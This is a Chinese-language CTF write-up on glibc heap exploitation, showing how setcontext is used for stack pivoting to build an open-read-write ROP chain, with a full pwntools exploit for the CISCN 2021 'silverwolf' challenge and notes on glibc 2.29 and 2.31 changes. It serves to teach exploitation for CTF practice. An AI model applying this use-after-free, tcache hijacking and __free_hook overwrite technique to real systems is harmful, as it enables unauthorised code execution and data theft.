关于利用setcontext打ORW

关于利用setcontext打ORW

前记

那是一个昏暗的晚上,时间已经9:30。我手贱的开了一个题,没想到这题让我彻夜难眠。

setcontext简绍

源码分析(2.27版本及其以前)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
text:0000000000052180
.text:0000000000052180 ; =============== S U B R O U T I N E =======================================
.text:0000000000052180
.text:0000000000052180
.text:0000000000052180 ; __int64 __fastcall setcontext(__int64)
.text:0000000000052180 public setcontext ; weak
.text:0000000000052180 setcontext proc near ; CODE XREF: sub_587B0+C↓p
.text:0000000000052180 ; DATA XREF: LOAD:0000000000009018↑o
.text:0000000000052180 ; __unwind {
.text:0000000000052180 push rdi
.text:0000000000052181 lea rsi, [rdi+128h] ; nset
.text:0000000000052188 xor edx, edx ; oset
.text:000000000005218A mov edi, 2 ; how
.text:000000000005218F mov r10d, 8 ; sigsetsize
.text:0000000000052195 mov eax, 0Eh
.text:000000000005219A syscall ; LINUX - sys_rt_sigprocmask
.text:000000000005219C pop rdi
.text:000000000005219D cmp rax, 0FFFFFFFFFFFFF001h
.text:00000000000521A3 jnb short loc_52200
.text:00000000000521A5 mov rcx, [rdi+0E0h]
.text:00000000000521AC fldenv byte ptr [rcx]
.text:00000000000521AE ldmxcsr dword ptr [rdi+1C0h]
.text:00000000000521B5 mov rsp, [rdi+0A0h]
.text:00000000000521BC mov rbx, [rdi+80h]
.text:00000000000521C3 mov rbp, [rdi+78h]
.text:00000000000521C7 mov r12, [rdi+48h]
.text:00000000000521CB mov r13, [rdi+50h]
.text:00000000000521CF mov r14, [rdi+58h]
.text:00000000000521D3 mov r15, [rdi+60h]
.text:00000000000521D7 mov rcx, [rdi+0A8h]
.text:00000000000521DE push rcx
.text:00000000000521DF mov rsi, [rdi+70h]
.text:00000000000521E3 mov rdx, [rdi+88h]
.text:00000000000521EA mov rcx, [rdi+98h]
.text:00000000000521F1 mov r8, [rdi+28h]
.text:00000000000521F5 mov r9, [rdi+30h]
.text:00000000000521F9 mov rdi, [rdi+68h]
.text:00000000000521F9 ; } // starts at 52180
.text:00000000000521FD ; __unwind {
.text:00000000000521FD xor eax, eax
.text:00000000000521FF retn

这个函数都是通过rdi寄存器进行赋值操作,对于glibc-2.27版本我们通常从setcontext + 53 开始使用,也就是 mov rsp, [rdi+0A0h] 那一行,在阅读其他师傅的文章后知道是因为上面的 fldenv byte pte [rcx] 会造成程序执行时直接 crash。

这里一共有两个关键点,第一个就是给rsp赋值进行栈迁移,第二个就是一个push操作进行压栈。通过这两个我们来控制程序的执行流

前置知识

劫持tcache_perthread_struct结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

堆地址的第一个chunk:

tcache_perthread_struct的chunk头:0x11字节
counts数组一共占用64字节,每个字节对应着一个链表,用来存放对应链表中存放着chunk的数量 0x40字节
entry指针数组是用来存储每个链表中链表头的chunk地址,一共占用8 * 64字节 0x200字节

正好0x251字节

image-20241210201758837

利用思路:

  1. 控制counts数组,让tcachebins数量改变,从而达到一定效果。例:伪造tcache为堆基地址+0x10,也就是首个chunk,然后改变0x250大小的chunk数量为7,就可以释放伪造chunk进入unsortebin从而泄露libc基地址
  2. 控制enetry指针数组,申请相应大小chunk到指定位置,达到任意地址写的目的

创建或者释放chunk细节

当你创建或者释放一个chunk时,此时rdi指针指向chunk的地址

setcontext打orw攻击思路

以free_hook布置ROP链

通过控制enery数组,来控制输入位置

image-20241121130717082

最后布置stack_pivot_1然后free掉,就会启动ROP链

执行流程为:

  1. free掉chunk调用setcontext,此时rdi指向addr
  2. mov rsp, [rdi+0A0h]把rsp指向ORW1处,mov rcx, [rdi+0A8h] push rcx把ret压栈
  3. setcontext结束直接ret,就能到ORW1执行ROP

例题讲解

[CISCN 2021 初赛]silverwolf

本题只能操作当前chunk,并且有个UAF,所以要想泄露libc地址,需要改counts数组数量为7,然后free掉才能泄露libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './silverwolf'
url = ''

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * main
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
libc = ELF('libc-2.27.so')
'''
1.allocate
2.edit
3. show
4. delete
5. exit
Your choice:
'''

def add(size) :
p.sendlineafter('Your choice: ' , b'1')
p.sendlineafter('Index: ' , str(0))
p.sendlineafter('Size: ' , str(size))

def edit(content) :
p.sendlineafter('Your choice: ' , b'2')
p.sendlineafter('Index: ' , str(0))
p.sendlineafter('Content: ' , content)

def show() :
p.sendlineafter('Your choice: ' , b'3')
p.sendlineafter('Index: ' , str(0))
p.recvuntil('Content: ')

def free() :
p.sendlineafter('Your choice: ' , b'4')
p.sendlineafter('Index: ' , str(0))

add(0x78)
free()
show() #UAF泄露heap地址
heap_base = u64(p.recv(6).ljust(8 , b'\x00')) - 0x11b0

edit(p64(heap_base + 0x10)) #劫持tcache_perthread_struct
add(0x78)
add(0x78)
edit(p64(0) * 4 + p64(0x7000000)) #控制0x250大小的chunk数量为7
free() #进入unsertbins
show()

libc_base = u64(p.recv(6).ljust(8 , b'\x00')) - 0x70 - libc.sym['__malloc_hook']

edit(p64(0) * 4 + p64(0))
free_hook = libc_base + libc.sym['__free_hook']

pop_rax = libc_base + 0x43AE8
pop_rdi = libc_base + 0x215BF
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall = libc_base + libc.sym['read'] + 0xf
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA

orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060

stack_pivot_1 = heap_base + 0x2000
stack_pivot_2 = heap_base + 0x20A0
#控制enery数组的值
payload = p64(0) * 8
payload += p64(free_hook) # 0x20
payload += p64(0) #30
payload += p64(flag_addr) #40
payload += p64(stack_pivot_1) #50
payload += p64(stack_pivot_2) #60
payload += p64(orw1) #70
payload += p64(orw2) #80

edit(payload)
lss('heap_base')
lss('libc_base')
lss('syscall')

# Open

orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall)

# Read

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw1)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(read)

# Write

orw += p64(pop_rdi) + p64(1)
orw += p64(write)

add(0x18)

edit(p64(setcontext))

add(0x38)
edit('./flag')

pause()
add(0x68)
edit(orw[:0x60])
# orw1
add(0x78)
edit(orw[0x60:])
# orw2

add(0x58)
# stack_pivot_2
edit(p64(orw1) + p64(ret))
add(0x48)
# # stack_pivot_1
free()

p.interactive()



补充说明

前面由于之学了老版本,发现还是不够用,现在分析记录一下新版本

glibc2.29版本及其以前

image-20241210202044655

setcontext的变化,这里看一下glibc-2.29,可以看到由原来的rdi + 偏移改成了 rdx + 偏移 ,直接覆盖free_hook为setcontext无法完成赋值

这里需要中转,先用rdi给rdx赋值,再利用setcontext,但是free_hook只有一次写的机会,所以写入的gadget必须同时完成这两个操作 ==> 1. 先用rdi给rdx赋值 2. 调用setcontext+53

这里介绍几个有用的gadget,用来覆盖free_hook,实现栈迁移:

搜索命令:ROPgadget –binary libc-2.31.so –only “mov|call” | grep -E “: mov rdx, qword ptr [rdi”

glibc2.31版本

和之前版本的区别是setcontext 的位置变成了 setcontext+61

image-20241211204422473